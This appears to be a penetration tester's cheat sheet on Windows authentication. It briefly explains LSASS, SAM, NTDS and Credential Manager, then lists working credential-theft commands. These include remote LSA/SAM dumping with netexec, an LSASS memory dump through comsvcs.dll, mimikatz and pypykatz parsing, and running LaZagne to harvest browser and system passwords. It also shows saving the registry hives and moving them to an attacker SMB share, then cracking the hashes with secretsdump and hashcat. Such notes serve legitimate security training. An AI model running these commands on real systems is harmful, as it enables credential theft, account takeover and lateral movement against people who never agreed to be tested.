Authentication - Windows
Reference: Source: Docs > 9 - Notes > Authentication Process - Windows WinLogon ( LogonUI ( LSASS ( These modules live inside Local Users (SAM) Domain Users (NTDS) Credential Manager (The Vault)
See more about… Authentication Process - Windows
1. Key Processes & Architecture
WinLogon.exe)Ctrl+Alt+Del), manages the workstation lock status, and handles password changes.LogonUI -> Collects Creds -> Sends to LSASS.msgina.dll handled this. Replaced by Credential Providers in modern Windows.LogonUI.exe)%SystemRoot%\System32\Lsass.exe)2. Authentication DLLs (The Packages)
LSASS to handle specific tasks.DLL Name Function / Description Lsasrv.dll The Manager. Enforces policy and chooses the protocol (Negotiate: Kerberos vs NTLM). Msv1_0.dll Local / NTLM. Handles non-domain logins and legacy NTLM authentication. Kerberos.dll Domain. Handles Kerberos ticket requests and validation. Samsrv.dll SAM Interface. Talks to the local SAM database. Netlogon.dll Network. Handles the secure channel for network logons. Ntdsa.dll AD Interface. Used to create/manage records in the Registry or AD. 3. Credential Storage Locations
%SystemRoot%\system32\config\SAMHKLM\SAMsyskey.exe) to prevent offline extraction.Registry Hive Description HKLM\SAMContains password hashes for local user accounts. These hashes can be extracted and cracked to reveal plaintext passwords. HKLM\SYSTEMStores the system boot key, which is used to encrypt the SAM database. This key is required to decrypt the hashes. HKLM\SECURITYContains sensitive information used by the Local Security Authority (LSA), including cached domain credentials (DCC2), cleartext passwords, DPAPI keys, and more. %SystemRoot%\ntds.ditPolicy.vpol in File Path:%UserProfile%\AppData\Local\Microsoft\Vault\%UserProfile%\AppData\Local\Microsoft\Credentials\%UserProfile%\AppData\Roaming\Microsoft\Vault\%ProgramData%\Microsoft\Vault\%SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault\
LSASS
# Remotely dump LSA secrets
netexec smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --lsa
# Remotely dump SAM secrets
netexec smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --samGet LSASS memory dump:
- Open
Task Manager - Select
Details>lsass.exe - Right-Click > “Create Dump File”
- Move or transfer the file (usually in
%TMP%)
# Get LSASS PID
tasklist /fi "IMAGENAME eq lsass.exe"
Get-Process lsass
# Dump
powershell -command "rundll32.exe C:\windows\system32\comsvcs.dll,MiniDump <PID> $env:TMP\crash.dmp full"
# Parse creds/hashes from dump
pypykatz lsa minidump <DUMP_FILE>Credential Manager
# Backup Stored Creds
rundll32 keymgr.dll,KRShowKeyMgr
---
# List stored creds
cmdkey /list
# Impersonate
runas /savecred /user:<DOMAIN>\<USER> cmd.exe
runas /savecred /user:<DOMAIN>\<USER> powershell.exe
# Run as Other User
runas /netonly /user:<DOMAIN>\<USER> cmd.exe
runas /netonly /user:<DOMAIN>\<USER> powershell.exe
---
\\tsclient\share\mimikatz.exe
privilege::debug
sekurlsa::credmanCreds Harvesting
- Decrypting Firefox or Chrome creds storage
# https://github.com/AlessandroZ/LaZagne
wget -q https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.7/LaZagne.exe -O lazagne.exe
# MODULES: browsers, sysadmin, memory, windows, chats, mails, wifi
.\lazagne.exe all -oA -output creds
---
# WINDOWS: Search for plaintext creds in files
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.git *.ps1 *.yml *.xmlSecrets Dumping (SAM)
# ATTACKER: create SMB share
# TARGET: save creds hives
reg.exe save HKLM\SAM "%APPDATA%\sam.save"
reg.exe save hklm\SYSTEM "%APPDATA%\system.save"
reg.exe save hklm\SECURITY "%APPDATA%\security.save"
cd %APPDATA%
move *.save \\<ATTACKER_IP\<SHARE>\
# ATTACKER: extract local NT hashes
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL
# 1000 is for NT hashes
hashcat -m 1000 <HASHES> <WORDLIST>
# 2100 is for PBKDF2 (DCC2 hashes for domain)
hashcat -m 2100 <HASHES> <WORDLIST>
# DPAPI creds
mimikatz.exe
dpapi::chrome /in:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotectHash Defaults of LM or NTLM
| Hash Value | Type | Meaning / Context |
|---|---|---|
aad3b435b51404eeaad3b435b51404ee | LM | Empty / Disabled. LM is disabled on modern Windows, so this is the placeholder you will see for every user. Ignore it. |
31d6cfe0d16ae931b73c59d7e0c089c0 | NT | Empty String. The user has no password. Common for Guest or Administrator if not enabled/set. |

